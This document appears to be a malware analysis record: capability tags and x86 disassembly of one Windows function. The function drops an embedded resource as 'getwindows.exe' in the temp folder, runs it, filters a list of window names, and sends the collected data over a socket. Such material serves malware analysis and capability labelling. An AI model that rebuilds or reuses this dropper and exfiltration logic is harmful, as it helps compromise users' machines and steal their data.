Function at 0x408e40
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x590397
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1360
call fcn.005647d0
mov eax, dword [0x5f4e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x120]
mov dword [ebp - 0xaa0], 0
push 0
push eax
call fcn.00565b20
add esp, 0xc
lea eax, [ebp - 0x228]
push 0x104
push 0
push eax
call fcn.00565b20
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x120]
add esp, 0xc
push eax
push 0x104
call esi
lea eax, [ebp - 0x228]
push eax
push 0x104
call esi
lea ecx, [ebp - 0x120]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x408ee4
mov eax, dword [str.getwindows.exe]
mov dword [ecx], eax
mov eax, dword [0x5d4c60]
mov dword [ecx + 4], eax
mov eax, dword [0x5d4c64]
mov dword [ecx + 8], eax
mov ax, word [0x5d4c68]
mov word [ecx + 0xc], ax
mov al, byte [0x5d4c6a]
mov byte [ecx + 0xe], al
lea ecx, [ebp - 0x228]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x408f20
mov eax, dword [0x5d4c6c]
xorps xmm0, xmm0
mov dword [ecx], eax
mov eax, dword [0x5d4c70]
mov dword [ecx + 4], eax
mov eax, dword [0x5d4c74]
mov dword [ecx + 8], eax
mov ax, word [0x5d4c78]
mov word [ecx + 0xc], ax
mov al, byte [0x5d4c7a]
movups xmmword [ebp - 0x258], xmm0
mov byte [ecx + 0xe], al
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xa98], eax
cmp eax, 0xffffffff
jne 0x408fb5
mov byte [ebp - 0xa91], 0
jmp 0x4096af
call fcn.0043096b
mov ecx, eax
test ecx, ecx
je 0x409709
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa9c], eax
push 0x5d4c7c
lea ecx, [ebp - 0xa9c]
mov byte [ebp - 4], 1
call fcn.00403d70
test al, al
jne 0x408ffe
push 3
push 0x5d4c7c
lea ecx, [ebp - 0xa9c]
call fcn.004041d0
mov byte [ebp - 4], 2
push dword [ebp - 0xa9c]
push 0x85
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, dword [ebp - 0xa98]
lea ecx, [ebp - 0xaa0]
push 0
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0
lea eax, [ebp - 0x120]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0xc
lea eax, [ebp - 0x228]
lea ecx, [ebp - 0xb68]
push eax
call fcn.00405930
cmp dword [ebp - 0xb0c], 0
jne 0x40908e
mov byte [ebp - 0xa91], 0
jmp 0x409617
xorps xmm0, xmm0
mov dword [ebp - 0x230], 0
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
nop dword [eax]
nop word [eax + eax]
mov eax, dword [ebp - 0xb68]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0xb38]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0xaa8], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0xaac]
mov byte [ebp - 4], 6
push eax
call fcn.00407710
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 0xa98], al
mov byte [ebp - 4], 5
test esi, esi
je 0x409121
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x409121
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0xa98]
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0xb68]
call fcn.004069b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x409461
mov edi, dword [ebp - 0x230]
test edi, edi
je 0x4090c0
mov esi, dword [ebp - 0x22c]
lea ecx, [ebp - 0x240]
mov eax, dword [ebp - 0x240]
cmp esi, 0x10
cmovae ecx, eax
cmp edi, 0xb
jne 0x4091b1
mov edx, str.Default_IME
lea esi, [edi - 4]
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4091a5
add ecx, 4
add edx, 4
sub esi, 4
jae 0x409180
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4091a5
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x4090c0
mov esi, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x240]
cmp esi, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, eax
cmp edi, 0xb
jne 0x409201
mov edx, str.MSCTFIME_UI
lea esi, [edi - 4]
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4091f5
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4091d0
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x4091f5
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x4090c0
mov esi, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x240]
cmp esi, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, eax
cmp edi, 0x1a
jne 0x409249
mov edx, str.SystemResourceNotifyWindow
lea esi, [edi - 4]
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40923d
add ecx, 4
add edx, 4
sub esi, 4
jae 0x409220
mov ax, word [ecx]
cmp ax, word [edx]
je 0x4090c0
mov eax, dword [ebp - 0x240]
mov esi, dword [ebp - 0x22c]
cmp esi, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, eax
cmp edi, 0x1e
jne 0x40928b
mov edx, str.MediaContextNotificationWindow
lea esi, [edi - 4]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40927f
add ecx, 4
add edx, 4
sub esi, 4
jae 0x409262
mov ax, word [ecx]
cmp ax, word [edx]
je 0x4090c0
mov eax, dword [ebp - 0x240]
mov esi, dword [ebp - 0x22c]
cmp esi, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, eax
cmp edi, 0x12
jne 0x4092cd
mov edx, str.MKSInvisibleWindow
lea esi, [edi - 4]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4092c1
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4092a4
mov ax, word [ecx]
cmp ax, word [edx]
je 0x4090c0
mov eax, dword [ebp - 0x240]
mov esi, dword [ebp - 0x22c]
cmp esi, 0x10
lea ecx, [ebp - 0x240]
cmovae ecx, eax
cmp edi, 0x11
jne 0x409307
mov edx, str.DDE_Server_Window
lea esi, [edi - 4]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x409301
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4092e6
mov al, byte [ecx]
cmp al, byte [edx]
je 0x4090c0
mov esi, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x248]
mov eax, closesocket
sub eax, edx
cmp eax, edi
jb 0x409713
cmp dword [ebp - 0x244], 0x10
lea ecx, [ebp - 0x258]
push edi
cmovae ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x240]
cmp esi, 0x10
cmovae eax, dword [ebp - 0x240]
push eax
push edx
push ecx
push ecx
push dword [ebp - 0xaa4]
lea ecx, [ebp - 0x270]
call fcn.0040c490
mov ecx, dword [ebp - 0x244]
cmp ecx, 0x10
jb 0x409390
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409386
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409718
push ecx
push edx
call fcn.005638e9
add esp, 8
movups xmm0, xmmword [ebp - 0x270]
mov eax, closesocket
mov byte [ebp - 0x270], 0
movups xmmword [ebp - 0x258], xmm0
movq xmm0, qword [ebp - 0x260]
movq qword [ebp - 0x248], xmm0
mov ecx, dword [ebp - 0x248]
sub eax, ecx
mov dword [ebp - 0x25c], 0xf
cmp eax, 1
jb 0x409713
cmp dword [ebp - 0x244], 0x10
lea eax, [ebp - 0x258]
push 1
cmovae eax, dword [ebp - 0x258]
push 0x5d4d04
push ecx
push eax
push ecx
push dword [ebp - 0xaa4]
lea ecx, [ebp - 0x288]
call fcn.0040c490
mov ecx, dword [ebp - 0x244]
cmp ecx, 0x10
jb 0x40943e
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409434
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409718
push ecx
push edx
call fcn.005638e9
add esp, 8
movups xmm0, xmmword [ebp - 0x288]
movups xmmword [ebp - 0x258], xmm0
movq xmm0, qword [ebp - 0x278]
movq qword [ebp - 0x248], xmm0
jmp 0x4090c0
push 0x738
lea eax, [ebp - 0x12a4]
push 0
push eax
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x1370], 0x1f
lea eax, [ebp - 0x358]
push 0xc8
push 0
push eax
call fcn.00565b20
mov ecx, dword [ebp - 0x248]
lea esi, [ebp - 0x25b]
add esp, 0xc
mov dword [ebp - 0xa98], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0xa98]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xa98], eax
test eax, eax
jne 0x4094b0
push ecx
lea eax, [ebp - 0x25b]
push eax
push esi
lea ecx, [ebp - 0x288]
call fcn.0040c590
mov edi, dword [ebp - 0x274]
lea ecx, [ebp - 0x288]
mov esi, dword [ebp - 0x288]
lea edx, [ebp - 0x358]
cmp edi, 0x10
cmovae ecx, esi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409514
cmp edi, 0x10
jb 0x409551
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x409547
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409718
push ecx
push esi
call fcn.005638e9
add esp, 8
push 0
mov ecx, 0x32
lea esi, [ebp - 0x358]
lea edi, [ebp - 0x136c]
rep movsd dword es:[edi], dword [esi]
push 0x804
lea eax, [ebp - 0xa90]
mov ecx, 0x201
push eax
push dword [0x5fe554]
lea esi, [ebp - 0x1370]
lea edi, [ebp - 0xa90]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.WS2_32.dll_send]
call esi
push 0xffffffffffffffff
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x244], 0x10
lea eax, [ebp - 0x258]
push 0
push dword [ebp - 0x248]
cmovae eax, dword [ebp - 0x258]
push eax
push dword [0x5fe554]
call esi
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x22c]
mov byte [ebp - 0xa91], 1
cmp ecx, 0x10
jb 0x409617
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40960d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409718
push ecx
push edx
call fcn.005638e9
add esp, 8
mov eax, dword [ebp - 0xb68]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xb68]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xb6c], eax
lea ecx, [ebp - 0xb58]
call fcn.004055d0
mov eax, dword [ebp - 0xb68]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xb68]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xb6c], eax
lea eax, [ebp - 0xaf8]
mov byte [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00417994
mov byte [ebp - 4], 0
add esp, 4
mov edx, dword [ebp - 0xa9c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4096af
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x244]
cmp ecx, 0x10
jb 0x4096e5
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4096db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409718
push ecx
push edx
call fcn.005638e9
add esp, 8
mov al, byte [ebp - 0xa91]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005638db
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x80004005
call fcn.00402210
call fcn.004083e0
call fcn.00568e05
int3